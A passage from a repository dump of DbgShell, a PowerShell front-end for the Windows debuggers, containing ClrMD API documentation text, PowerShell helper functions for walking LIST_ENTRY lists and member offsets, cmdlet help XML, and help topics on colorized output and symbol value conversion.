informational/logging purposes and shouldn't be opened directly. The destination path of where the file should go on disk. The length of the given file. (Also for informational purposes, do not use this as part of a copy loop. A task indicating when the copy is completed. The raw symbol path. You should probably use the SymbolPath property instead. The raw symbol cache. You should probably use the SymbolCache property instead. The timeout (in milliseconds) used when contacting each individual server. This is not a total timeout for the entire symbol server operation. A set of pdbs that we did not find when requested. This set is SymbolLocator specific (not global like successful downloads) and is cleared when we change the symbol path or cache. A set of files that we did not find when requested. This set is SymbolLocator specific (not global like successful downloads) and is cleared when we change the symbol path or cache. Constructor. Return the string representing a symbol path for the 'standard' microsoft symbol servers. This returns the public msdl.microsoft.com server if outside Microsoft. Retrieves a list of the default Microsoft symbol servers. This property gets and sets the global _NT_SYMBOL_PATH environment variable. This is the global setting for symbol paths on a computer. Gets or sets the local symbol file cache. This is the location that all symbol files are downloaded to on your computer. Gets or sets the SymbolPath this object uses to attempt to find PDBs and binaries. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The module to locate. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a dac via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. Note that the dac should not validate if the properties of the file match the one it was indexed under. The dac to locate. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate the pdb for a given module. The module to locate the pdb for. A full path on disk (local) of where the pdb was copied to. Attempts to locate the pdb for a given module. The pdb to locate. A full path on disk (local) of where the pdb was copied to. Attempts to locate a pdb based on its name, guid, and revision number. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Validates whether a pdb on disk matches the given Guid/revision. Validates whether a file on disk matches the properties we expect. The full path on disk of a PEImage to inspect. The build timestamp we expect to match. The build image size we expect to match. Whether we should actually validate the imagesize/timestamp or not. Copies a given stream to a file. The stream of data to copy. The original source location of "stream". This may be a URL or null. The full destination path to copy the file to. A hint as to the length of the stream. This may be 0 or negative if the length is unknown. True if the method successfully copied the file, false otherwise. Writes diagnostic messages about symbol loading to System.Diagnostics.Trace. Figuring out symbol issues can be tricky, so if you override methods in SymbolLocator, be sure to trace the information here. Called when changing the symbol file path or cache. In v4.5, this class supports multithreading. Default implementation of a symbol locator. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a pdb based on its name, guid, and revision number. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Clear missing file/pdb cache Copies the given file from the input stream into fullDestPath. The input stream to copy the file from. The source of this file. This is for informational/logging purposes and shouldn't be opened directly. The destination path of where the file should go on disk. The length of the given file. (Also for informational purposes, do not use this as part of a copy loop. A task indicating when the copy is completed. Copies the given file from the input stream into fullDestPath. The input stream to copy the file from. The source of this file. This is for informational/logging purposes and shouldn't be opened directly. The destination path of where the file should go on disk. The length of the given file. (Also for informational purposes, do not use this as part of a copy loop. A task indicating when the copy is completed. Default implementation of finding a pdb. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. SymPathElement represents the text between the semicolons in a symbol path. It can be a symbol server specification or a simple directory path. SymPathElement follows functional conventions. After construction everything is read-only. returns a list of SymPathElements from a semicolon delimited string representing a symbol path returns true if this element of the symbol server path a symbol server specification returns the local cache for a symbol server specifcation. returns null if not specified returns location to look for symbols. This is either a directory specification or an URL (for symbol servers) IsRemote returns true if it looks like the target is not on the local machine. returns the string repsentation for the symbol server path element (e.g. SRV*c:\temp*\\symbols\symbols) Implements object interface Implements object interface returns a new SymPathElement with the corresponding properties initialized The type of frame the ClrStackFrame represents. Indicates this stack frame is a standard managed method. Indicates this stack frame is a special stack marker that the Clr runtime leaves on the stack. Note that the ClrStackFrame may still have a ClrMethod associated with the marker. A frame in a managed stack trace. Note you can call ToString on an instance of this object to get the function name (or clr!Frame name) similar to SOS's !clrstack output. Returns the runtime associated with this frame. Returns the arguments for this stack frame. Returns the locals for this stack frame. Returns the thread this stack frame came from. The instruction pointer of this frame. The stack pointer of this frame. The type of frame (managed or internal). The string to display in a stack trace. Similar to !clrstack output. Returns the ClrMethod which corresponds to the current stack frame. This may be null if the current frame is actually a CLR "Internal Frame" representing a marker on the stack, and that stack marker does not have a managed method associated with it. Returns the module this frame is associated with. Returns the module name to use for building the stack trace. The default name used when a module name cannot be calculated. Represents a managed thread in the target process. Note this does not wrap purely native threads in the target process (that is, threads which have never run managed code before). Gets the runtime associated with this thread. The suspension state of the thread according to the runtime. Returns true if this is the finalizer thread. The address of the underlying datastructure which makes up the Thread object. This serves as a unique identifier. Returns true if the thread is alive in the process, false if this thread was recently terminated. The OS thread id for the thread. The managed thread ID (this is equivalent to System.Threading.Thread.ManagedThreadId in the target process). The AppDomain the thread is running in. The number of managed locks (Monitors) the thread has currently entered but not left. This will be highly inconsistent unless the process is stopped. The TEB (thread execution block) address in the process. The base of the stack for this thread, or 0 if the value could not be obtained. The limit of the stack for this thread, or 0 if the value could not be obtained. Enumerates the GC references (objects) on the stack. This is equivalent to EnumerateStackObjects(true). An enumeration of GC references on the stack as the GC sees them. Enumerates the GC references (objects) on the stack. Include all objects found on the stack. Passing false attempts to replicate the behavior of the GC, reporting only live objects. An enumeration of GC references on the stack as the GC sees them. Returns the managed stack trace of the thread. Note that this property may return incomplete data in the case of a bad stack unwind or if there is a very large number of methods on the stack. (This is usually caused by a stack overflow on the target thread, stack corruption which leads to a bad stack unwind, or other inconsistent state in the target debuggee.) Note: This property uses a heuristic to attempt to detect bad unwinds to stop enumerating frames by inspecting the stack pointer and instruction pointer of each frame to ensure the stack walk is "making progress". Additionally we cap the number of frames returned by this method as another safegaurd. This means we may not have all frames even if the stack walk was making progress. If you want to ensure that you receive an un-clipped stack trace, you should use EnumerateStackTrace instead of this property, and be sure to handle the case of repeating stack frames. Enumerates a stack trace for a given thread. Note this method may loop infinitely in the case of stack corruption or other stack unwind issues which can happen in practice. When enumerating frames out of this method you should be careful to either set a maximum loop count, or to ensure the stack unwind is making progress by ensuring that ClrStackFrame.StackPointer is making progress (though it is expected that sometimes two frames may return the same StackPointer in some corner cases). An enumeration of stack frames. Returns the exception currently on the thread. Note that this field may be null. Also note that this is basically the "last thrown exception", and may be stale...meaning the thread could be done processing the exception but a crash dump was taken before the current exception was cleared off the field. Returns if this thread is a GC thread. If the runtime is using a server GC, then there will be dedicated GC threads, which this will indicate. For a runtime using the workstation GC, this flag will only be true for a thread which is currently running a GC (and the background GC thread). Returns if this thread is the debugger helper thread. Returns true if this thread is a threadpool timer thread. Returns true if this thread is a threadpool IO completion port. Returns true if this is a threadpool worker thread. Returns true if this is a threadpool wait thread. Returns true if this is the threadpool gate thread. Returns if this thread currently suspending the runtime. Returns true if this thread is currently the thread shutting down the runtime. Returns true if an abort was requested for this thread (such as Thread.Abort, or AppDomain unload). Returns true if this thread was aborted. Returns true if the GC is attempting to suspend this thread. Returns true if the user has suspended the thread (using Thread.Suspend). Returns true if the debugger has suspended the thread. Returns true if this thread is a background thread. (That is, if the thread does not keep the managed execution environment alive and running.) Returns true if this thread was created, but not started. Returns true if the Clr runtime called CoIntialize for this thread. Returns true if this thread is in a COM single threaded apartment. Returns true if the thread is a COM multithreaded apartment. Returns the object this thread is blocked waiting on, or null if the thread is not blocked. The architecture of a process. Unknown. Should never be exposed except in case of error. x86. x64 ARM This is a representation of the metadata element type. These values directly correspond with Clr's CorElementType. Not one of the other types. ELEMENT_TYPE_BOOLEAN ELEMENT_TYPE_CHAR ELEMENT_TYPE_I1 ELEMENT_TYPE_U1 ELEMENT_TYPE_I2 ELEMENT_TYPE_U2 ELEMENT_TYPE_I4 ELEMENT_TYPE_U4 ELEMENT_TYPE_I8 ELEMENT_TYPE_U8 ELEMENT_TYPE_R4 ELEMENT_TYPE_R8 ELEMENT_TYPE_STRING ELEMENT_TYPE_PTR ELEMENT_TYPE_VALUETYPE ELEMENT_TYPE_CLASS ELEMENT_TYPE_ARRAY ELEMENT_TYPE_I ELEMENT_TYPE_U ELEMENT_TYPE_FNPTR ELEMENT_TYPE_OBJECT ELEMENT_TYPE_SZARRAY An interface implementation in the target process. The typename of the interface. The interface that this interface inherits from. Display string for this interface. Display string for this interface. Equals override. Object to compare to. True if this interface equals another. GetHashCode override. A hashcode for this object. A representation of a type in the target process. Retrieves the first type handle in EnumerateMethodTables(). MethodTables are unique to an AppDomain/Type pair, so when there are multiple domains there will be multiple MethodTable for a class. Enumerates all MethodTable for this type in the process. MethodTable are unique to an AppDomain/Type pair, so when there are multiple domains there may be multiple MethodTable. Note that even if a type could be used in an AppDomain, that does not mean we actually have a MethodTable if the type hasn't been created yet. An enumeration of MethodTable in the process for this given type. Returns the metadata token of this type. Types have names. GetSize returns the size in bytes for the total overhead of the object 'objRef'. EnumeationRefsOfObject will call 'action' once for each object reference inside 'objRef'. 'action' is passed the address of the outgoing refernece as well as an integer that represents the field offset. While often this is the physical offset of the outgoing refernece, abstractly is simply something that can be given to GetFieldForOffset to return the field information for that object reference Does the same as EnumerateRefsOfObject, but does additional bounds checking to ensure we don't loop forever with inconsistent data. Returns true if the type CAN contain references to other objects. This is used in optimizations and 'true' can always be returned safely. All types know the heap they belong to. Returns true if this object is a 'RuntimeType' (that is, the concrete System.RuntimeType class which is what you get when calling "typeof" in C#). Returns the concrete type (in the target process) that this RuntimeType represents. Note you may only call this function if IsRuntimeType returns true. The RuntimeType object to get the concrete type for. The underlying type that this RuntimeType actually represents. May return null if the underlying type has not been fully constructed by the runtime, or if the underlying type is actually a typehandle (which unfortunately ClrMD cannot convert into a ClrType due to limitations in the underlying APIs. (So always null-check the return value of this function.) Returns the module this type is defined in. Returns a method based on its token. The token of the method to return. A ClrMethod for the given token, null if no such methodDesc exists. Returns the ElementType of this Type. Can return ELEMENT_TYPE_VOID on error. Returns true if this type is a primitive (int, float, etc), false otherwise. True if this type is a primitive (int, float, etc), false otherwise. Returns true if this type is a ValueClass (struct), false otherwise. True if this type is a ValueClass (struct), false otherwise. Returns true if this type is an object reference, false otherwise. True if this type is an object reference, false otherwise. Returns the list of interfaces this type implements. Returns true if the finalization is suppressed for an object. (The user program called System.GC.SupressFinalize. The behavior of this function is undefined if the object itself is not finalizable. Returns whether objects of this type are finalizable. Returns true if this type is marked Public. returns true if this type is marked Private. Returns true if this type is accessable only by items in its own assembly. Returns true if this nested type is accessable only by subtypes of its outer type. Returns true if this class is abstract. Returns true if this class is sealed. Returns true if this type is an interface. Returns all possible fields in this type. It does not return dynamically typed fields. Returns an empty list if there are no fields. Returns a list of static fields on this type. Returns an empty list if there are no fields. Returns a list of thread static fields on this type. Returns an empty list if there are no fields. Gets the list of methods this type implements. When you enumerate a object, the offset within the object is returned. This offset might represent nested fields (obj.Field1.Field2). GetFieldOffset returns the first of these field (Field1), and 'remaining' offset with the type of Field1 (which must be a struct type). Calling GetFieldForOffset repeatedly until the childFieldOffset is 0 will retrieve the whole chain. true if successful. Will fail if it 'this' is an array type Returns the field given by 'name', case sensitive. Returns NULL if no such field name exists (or on error). Returns the field given by 'name', case sensitive. Returns NULL if no such field name exists (or on error). If this type inherits from another type, this is that type. Can return null if it does not inherit (or is unknown) Returns true if the given object is a Com-Callable-Wrapper. This is only supported in v4.5 and later. The object to check. True if this is a CCW. Returns the CCWData for the given object. Note you may only call this function if IsCCW returns true. The CCWData associated with the object, undefined result of obj is not a CCW. Returns true if the given object is a Runtime-Callable-Wrapper. This is only supported in v4.5 and later. The object to check. True if this is an RCW. Returns the RCWData for the given object. Note you may only call this function if IsRCW returns true. The RCWData associated with the object, undefined result of obj is not a RCW. Indicates if the type is in fact a pointer. If so, the pointer operators may be used. Gets the type of the element referenced by the pointer. A type is an array if you can use the array operators below, Abstractly arrays are objects that whose children are not statically known by just knowing the type. If the type is an array, then GetArrayLength returns the number of elements in the array. Undefined behavior if this type is not an array. Returns the absolute address to the given array element. You may then make a direct memory read out of the process to get the value if you want. Returns the array element value at the given index. Returns 'null' if the array element is of type VALUE_CLASS. Returns the size of individual elements of an array. Returns the base size of the object. Returns true if this type is System.String. Returns true if this type represents free space on the heap. Returns true if this type is an exception (that is, it derives from System.Exception). Returns true if this type is an enum. Returns the element type of this enum. Returns a list of names in the enum. Gets the name of the value in the enum, or null if the value doesn't have a name. This is a convenience function, and has undefined results if the same value appears twice in the enum. The value to lookup. The name of one entry in the enum with this value, or null if none exist. Gets the name of the value in the enum, or null if the value doesn't have a name. This is a convenience function, and has undefined results if the same value appears twice in the enum. The value to lookup. The name of one entry in the enum with this value, or null if none exist. Attempts to get the integer value for a given enum entry. Note you should only call this function if GetEnumElementType returns ELEMENT_TYPE_I4. The name of the value to get (taken from GetEnumNames). The value to write out. True if we successfully filled value, false if 'name' is not a part of the enumeration. Attempts to get the value for a given enum entry. The type of "value" can be determined by the return value of GetEnumElementType. The name of the value to get (taken from GetEnumNames). The value to write out. True if we successfully filled value, false if 'name' is not a part of the enumeration. Returns true if instances of this type have a simple value. Returns the simple value of an instance of this type. Undefined behavior if HasSimpleValue returns false. For example ELEMENT_TYPE_I4 is an "int" and the return value of this function would be an int. The address of an instance of this type. Returns a string representation of this object. A string representation of this object. A representation of a field in the target process. The name of the field. The type of the field. Note this property may return null on error. There is a bug in several versions of our debugging layer which causes this. You should always null-check the return value of this field. Returns the element type of this field. Note that even when Type is null, this should still tell you the element type of the field. Returns true if this field is a primitive (int, float, etc), false otherwise. True if this field is a primitive (int, float, etc), false otherwise. Returns true if this field is a ValueClass (struct), false otherwise. True if this field is a ValueClass (struct), false otherwise. Returns true if this field is an object reference, false otherwise. True if this field is an object reference, false otherwise. Gets the size of this field. Returns true if this field is public. Returns true if this field is private. Returns true if this field is internal. Returns true if this field is protected. Returns true if this field has a simple value (meaning you may call "GetFieldValue" in one of the subtypes of this class). If the field has a well defined offset from the base of the object, return it (otherwise -1). Returns a string representation of this object. A string representation of this object. Represents an instance field of a type. Fundamentally it respresents a name and a type Returns the value of this field. Equivalent to GetFieldValue(objRef, false). The object to get the field value for. The value of the field. Returns the value of this field, optionally specifying if this field is on a value class which is on the interior of another object. The object to get the field value for. Whether the enclosing type of this field is a value class, and that value class is embedded in another object. The value of the field. Returns the value of this field, optionally specifying if this field is on a value class which is on the interior of another object. The object to get the field value for. Whether the enclosing type of this field is a value class, and that value class is embedded in another object. When true, the value of a string field will be returned as a System.String object; otherwise the address of the String object will be returned. The value of the field. Returns the address of the value of this field. Equivalent to GetFieldAddress(objRef, false). The object to get the field address for. The value of the field. Returns the address of the value of this field. Equivalent to GetFieldAddress(objRef, false). The object to get the field address for. Whether the enclosing type of this field is a value class, and that value class is embedded in another object. The value of the field. Represents a static field in the target process. Returns whether this static field has been initialized in a particular AppDomain or not. If a static variable has not been initialized, then its class constructor may have not been run yet. Calling GetFieldValue on an uninitialized static will result in returning either NULL or a value of 0. The AppDomain to see if the variable has been initialized. True if the field has been initialized (even if initialized to NULL or a default value), false if the runtime has not initialized this variable. Gets the value of the static field. The AppDomain in which to get the value. The value of this static field. Gets the value of the static field. The AppDomain in which to get the value. When true, the value of a string field will be returned as a System.String object; otherwise the address of the String object will be returned. The value of this static field. Returns the address of the static field's value in memory. The AppDomain in which to get the field's address. The address of the field's value. Returns true if the static field has a default value (and if we can obtain it). The default value of the field. The default value of the field. Represents a thread static value in the target process. Gets the value of the field. The AppDomain in which to get the field's value. The thread on which to get the field's value. The value of the field. Gets the value of the field. The AppDomain in which to get the field's value. The thread on which to get the field's value. When true, the value of a string field will be returned as a System.String object; otherwise the address of the String object will be returned. The value of the field. Gets the address of the field. The AppDomain in which to get the field's address. The thread on which to get the field's address. The address of the field. A wrapper class for exception objects which help with common tasks for exception objects. Create this using GCHeap.GetExceptionObject. You may call that when GCHeapType.IsException returns true. Returns the GCHeapType for this exception object. Returns the exception message. Returns the address of the exception object. Returns the inner exception, if one exists, null otherwise. Returns the HRESULT associated with this exception (or S_OK if there isn't one). Returns the StackTrace for this exception. Note that this may be empty or partial depending on the state of the exception in the process. (It may have never been thrown or we may be in the middle of constructing the stackwalk.) This returns an empty list if no stack trace is associated with this exception object. The COM implementation details of a single CCW entry. The CLR type this represents. The interface pointer of Type. Helper for Com Callable Wrapper objects. (CCWs are CLR objects exposed to native code as COM objects). Returns the pointer to the IUnknown representing this CCW. Returns the pointer to the managed object representing this CCW. Returns the CLR handle associated with this CCW. Returns the refcount of this CCW. Returns the interfaces that this CCW implements. Helper for Runtime Callable Wrapper objects. (RCWs are COM objects which are exposed to the runtime as managed objects.) Returns the pointer to the IUnknown representing this CCW. Returns the external VTable associated with this RCW. (It's useful to resolve the VTable as a symbol which will tell you what the underlying native type is...if you have the symbols for it loaded). Returns the RefCount of the RCW. Returns the managed object associated with this of RCW. Returns true if the RCW is disconnected from the underlying COM type. Returns the thread which created this RCW. Returns the internal WinRT object associated with this RCW (if one exists). Returns the list of interfaces this RCW implements. The way a method was JIT'ed. Method is not yet JITed and no NGEN image exists. Method was JITed. Method was NGEN'ed (pre-JITed). Represents a method on a class. Retrieves the first MethodDesc in EnumerateMethodDescs(). For single AppDomain programs this is the only MethodDesc. MethodDescs are unique to an Method/AppDomain pair, so when there are multiple domains there will be multiple MethodDescs for a method. Enumerates all method descs for this method in the process. MethodDescs are unique to an Method/AppDomain pair, so when there are multiple domains there will be multiple MethodDescs for a method. An enumeration of method handles in the process for this given method. The name of the method. For example, "void System.Foo.Bar(object o, int i)" would return "Bar". Returns the full signature of the function. For example, "void System.Foo.Bar(object o, int i)" would return "System.Foo.Bar(System.Object, System.Int32)" Returns the instruction pointer in the target process for the start of the method's assembly. Gets the ILOffset of the given address within this method. The absolute address of the code (not a relative offset). The IL offset of the given address. Returns the way this method was compiled. Returns the IL to native offset mapping. Returns the metadata token of the current method. Returns the enclosing type of this method. Returns if this method is public. Returns if this method is private. Returns if this method is internal. Returns if this method is protected. Returns if this method is static. Returns if this method is final. Returns if this method is a PInvoke. Returns if this method is a special method. Returns if this method is runtime special method. Returns if this method is virtual. Returns if this method is abstract. Returns whether this method is an instance constructor. Returns whether this method is a static constructor. A method's mapping from IL to native offsets. The IL offset for this entry. The native start offset of this IL entry. The native end offset of this IL entry. To string. A visual display of the map entry. Reserved. ================================================ FILE: DbgShell/x86/Debugger/OtherUtils.ps1 ================================================ # # We can put functions in here that are not necessarily debugger-related, like # type-specific utilities. # # This sort of thing might should probably go in a separate module (like # MyTeamDbgExtensions.psm1), but I'm just going to throw stuff in here for now. # <# .SYNOPSIS Finds the offset for a given member/member path from the start of the specified type. Example: Find-MemberOffset 'nt!_ETHREAD' 'Tcb.ThreadListEntry' #> function Find-MemberOffset { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [MS.Dbg.Commands.TypeTransformation()] [MS.Dbg.DbgUdtTypeInfo] $Type, [Parameter( Mandatory = $true, Position = 1, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $MemberPath ) begin { } end { } process { try { $memberNames = $MemberPath.Split( '.' ) [int] $offset = 0 for( [int] $idx = 0; $idx -lt $memberNames.Length; $idx++ ) { $memberName = $memberNames[ $idx ] if( !$Type.Members.HasItemNamed( $memberName ) ) { throw "Type $($Type.FullyQualifiedName) does not have a member called $($memberName)." } $member = $Type.Members[ $memberName ] $offset += $member.Offset if( $idx -lt ($memberNames.Length - 1) ) { # Not done with the loop; need to get next Type. if( $member.DataType -is [MS.Dbg.DbgPointerTypeInfo] ) { throw "There can't be a pointer in the member path ($memberName)." } elseif( $member.DataType -isnot [MS.Dbg.DbgUdtTypeInfo] ) { throw "Unexpected DataType: '$memberName' member is a $($Type.Members[ $memberName ].DataType.GetType().FullName)." } $Type = $member.DataType } } return $offset } finally { } } # end 'process' block } # end Find-MemberOffset <# .SYNOPSIS Enumerates items in a LIST_ENTRY list. Example (kernel mode): Expand-LIST_ENTRY (dt 'nt!PsActiveProcessHead') 'nt!_EPROCESS' 'ActiveProcessLinks' Note that $ListEntryMemberName can can reference a member of a member (of a member, etc.). In other words, it can go more than a single member deep--for instance, it could be 'Tcb.ThreadListEntry'. #> function Expand-LIST_ENTRY { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNull()] # TODO: Would it be nice to have a [DbgValueTransformation()] attribute, so we # could pass a string here, like we can for the type? So you could do: # # Expand-LIST_ENTRY 'nt!PsActiveProcessHead' 'nt!_EPROCESS' 'ActiveProcessLinks' # # I guess it's not so bad to do: # # Expand-LIST_ENTRY (dt 'nt!PsActiveProcessHead') 'nt!_EPROCESS' 'ActiveProcessLinks' # [MS.Dbg.DbgValue] $Head, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [MS.Dbg.Commands.TypeTransformation()] [MS.Dbg.DbgUdtTypeInfo] $EntryType, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNullOrEmpty()] [string] $ListEntryMemberName ) begin { try { function addrOf( $dbgVal ) { # You're allowed to pass a LIST_ENTRY, a LIST_ENTRY*, a LIST_ENTRY**, ... if( $dbgVal -is [MS.Dbg.DbgPointerValue] ) { $dbgVal = $dbgVal.DbgFollowPointers() } return $dbgVal.DbgGetOperativeSymbol().Address } if( !$ListEntryMemberName ) { # # We'll find it ourself, by looking for the first LIST_ENTRY member. # $listEntryMembers = @( $EntryType.Members | where { $_.DataType.Name -eq '_LIST_ENTRY' } ) if( 0 -eq $listEntryMembers.Count ) { throw "Could not find a _LIST_ENTRY member in $($EntryType.FullyQualifiedName)." } else { $ListEntryMemberName = $listEntryMembers[ 0 ] if( $listEntryMembers.Count -gt 1 ) { Write-Warning "Type $($EntryType.FullyQualifiedName) has more than one _LIST_ENTRY member. We'll just guess and use the first one ($ListEntryMemberName)." } } } # end if( !$ListEntryMemberName ) [string] $dotFlink = '.Flink' if( $ListEntryMemberName.EndsWith( $dotFlink ) ) { Write-Warning "Don't include 'Flink' in the -ListEntryMemberName parameter." $ListEntryMemberName = $ListEntryMemberName.Substring( 0, $ListEntryMemberName.Length - $dotFlink.Length ) } $listEntryOffset = Find-MemberOffset $EntryType $ListEntryMemberName } finally { } } # end 'begin' block end { } process { try { $headAddr = addrOf $Head $curListEntry = $Head.Flink [int] $idx = 0 # $curListEntry is a pointer, so can compare directly to $headAddr. while( $curListEntry -ne $headAddr ) { # If things go badly, this is likely where we find out--$curListEntry will # be a DbgValueError, and thus won't have a DbgGetPointer() method. We can # make the error a little nicer. if( $curListEntry -is [MS.Dbg.DbgValueError] ) { $er = New-Object 'System.Management.Automation.ErrorRecord' ` -ArgumentList @( $curListEntry.DbgGetError(), 'ErrorWhileTraversingList', # ErrorId 'NotSpecified', # ErrorCategory $curListEntry ) # TargetObject $PSCmdlet.ThrowTerminatingError( $er ) } # N.B. $curListEntry is a pointer, but we need to get the raw pointer else # pointer arithmetic will mess things up. $curItemAddr = $curListEntry.DbgGetPointer() - $listEntryOffset #$val = dt $EntryType $curItemAddr $val = Get-DbgSymbolValue -Address $curItemAddr ` -Type $EntryType ` -NameForNewSymbol "$($Head.DbgGetOperativeSymbol().Name)_$($idx)" ` -ErrorAction Stop Write-Output $val # The $ListEntryMemberName might have dots (".") in it (like # "Tcb.ThreadListEntry"), so we'll use Invoke-Expression to get what we # want. (without iex, it will complain that $val has no such member # "Tcb.ThreadListEntry", which is true) $curListEntry = Invoke-Expression "`$val.$ListEntryMemberName.Flink" $idx++ } } finally { } } # end 'process' block } # end function Expand-LIST_ENTRY ================================================ FILE: DbgShell/x86/Debugger/Types.ps1xml ================================================ Microsoft.Diagnostics.Runtime.ClrThread StackTrace MS.Dbg.DbgProvider GetClrStackTraceOnDbgEngThread BlockingObjects MS.Dbg.DbgProvider GetBlockingObjectsOnDbgEngThread Microsoft.Diagnostics.Runtime.ClrRuntime Threads MS.Dbg.DbgProvider GetClrThreadsOnDbgEngThread ================================================ FILE: DbgShell/x86/Debugger/en-us/DbgProvider.dll-Help.xml ================================================  Mount-DumpFile Loads a dump file for post-mortem debugging. Mount DumpFile The Mount-DumpFile cmdlet loads a dump file for post-mortem debugging, similar to "windbg -z". Mount-DumpFile DumpFile Specifies the dump file to load. string TargetName Specifies the name which should be used to represent the dump file in the Debugger provider virtual namespace. string DumpFile Specifies the dump file to load. string string TargetName Specifies the name which should be used to represent the dump file in the Debugger provider virtual namespace. string string System.String This cmdlet accepts a string object as input that populates the DumpFile parameter. MS.Dbg.DbgContainer This cmdlet loads the specified dump file into the Debugger provider virtual namespace. Unmount-DumpFile ================================================ FILE: DbgShell/x86/Debugger/en-us/about_Color.help.txt ================================================ TOPIC about_Color SHORT DESCRIPTION DbgShell supports text colorization using ANSI escape codes (a la ISO/IEC 6429). LONG DESCRIPTION You've been staring at your debugger session for close to an hour... the numbers, the acronyms, the addresses, the data, the instructions are all beginning to blend together... your eyes are becoming bleary and tired trying to find the information you are looking for in the sea of gray text... Isn't there an easier way? There could be! With the help of color, seeing information can be a lot easier. Of course the information is there in the text. But even a novice debugger does not read through the debugger output like it was a novel--when debugging, we look at the output of the debugger like a picture to find the information that we really want to read. The ease or difficulty of finding the particular information has a huge impact on the debugging experience. With the current Windows debuggers, the only pictoral information that we have is shape and texture--the texture of the text itself, and the shapes of the different types of output. For instance, my eyes can pick out the shape of the "second chance!" message, the shape of a stack dump, the shape of a modload or block of modloads, the shape of a data dump, and the texture of chunks of zeros in a data dump. When stepping, I can rely on the repeating constant shape of the register output displayed on each step to know where to keep my eyes to see when a particular piece of information changes. Color adds a whole new dimension to the information. With the addition of color, you can highlight information independent of shape or within shape. It can simply make a particular shape even more identifiable, or, even better, it can highlight information within a shape. On top of that, even, it can highlight the differences between two instances of the same shape. For example, the register output is familiar to all who debug. It can be made even more identifiable by making the register values blue. Even better, when stepping, if the registers that change between each step change color, it becomes trivial to see what has changed. ANSI ESCAPE CODES DbgShell supports text colorization using ANSI escape codes (a la ISO/IEC 6429). Specifically, it supports a subset of the SGR ("Select Graphics Rendition") codes, plus a pair of nonstandard "push" and "pop" codes for better composability. Of course you don't have to manually construct strings with all those icky escape codes; use the MS.Dbg.ColorStringclass in C# or the New-ColorString command in PowerShell script. Note that ColorString has implicit conversions from and to System.String, as well as certain fields to make it "look like"System.String. This is to aid script use of ColorString objects; the script is only interested in the content, and the color markup is only for display by a capable host. INTERFACE: ISupportColor The MS.Dbg.ISupportColor interface has one method: ToColorString(), which returns a ColorString object. DbgShell's custom formatting and output engine recognizes objects that implement this interface: if you write an object to the output stream which implements ISupportColor (and there isn't some other formatting view that covers it), the custom F+O will call .ToColorString() on it for display. ColorString Object You can easily create colorized strings in DbgShell by using the ColorString class and the New-ColorString cmdlet. The ColorString class has a fluent-style API, letting you do things like: $cs = (New-ColorString).Append( $sym.Type.ColorName ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::Green, $_.m_friendlyName.m_asStr ). Append( ' (Id ' ). Append( $_.m_dwId.m_dwId.ToString() ). Append( ') ' ) QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/Debugger/en-us/about_CustomFormatting.help.txt ================================================ TOPIC about_CustomFormatting SHORT DESCRIPTION DbgShell includes a custom Formatting+Output (F+O) engine. LONG DESCRIPTION Please see the MarkDown help file "CustomFormattingEngine.md" in the "doc" folder at the root of the DbgShell installation. TBD: generate help topics from .md help files. QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/Debugger/en-us/about_CustomSymbolValueConversion.help.txt ================================================ TOPIC about_CustomSymbolValueConversion SHORT DESCRIPTION DbgShell lets you get symbol values as nice objects. This is extremely powerful for scripting. You can customize how these symbol value objects are created. LONG DESCRIPTION For most objects, the stock object given to you by DbgShell is fine, but some objects are very painful to deal with in "raw" form--most notably STL containers, but many others as well. So DbgShell has a generic "custom symbol value conversion" facility, which lets you register some little snippet of script to take a stock symbol value object and turn it into something more useful. You can add properties or methods, modify existing members, or create an entirely new object. DbgShell comes with a few of these little conversion snippets, including some for dealing with STL containers: STL symbol value type Gets tranformed into a .NET object of this type ===================== =============================================== std::string, std::wstring ==> System.String std::vector<*> ==> System.Collections.ObjectModel.ReadOnlyCollection std::map<*> ==> System.Collections.ObjectModel.ReadOnlyDictionary std::set<*> ==> System.Collections.ObjectModel.ReadOnlyCollection For more information, please see the MarkDown help file "SymbolValueConversion.md" in the "doc" folder at the root of the DbgShell installation. ADDITIONAL HELP TOPICS Get-Help about_HowTo_Write_a_Symbol_Value_Converter QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x86/Debugger/en-us/about_DbgShell.help.txt ================================================ TOPIC about_DbgShell SHORT DESCRIPTION DbgShell is a PowerShell front-end for the Windows debuggers. For a "quick-start" guide, run Get-Help about_DbgShell_GettingStarted. LONG DESCRIPTION Please see the 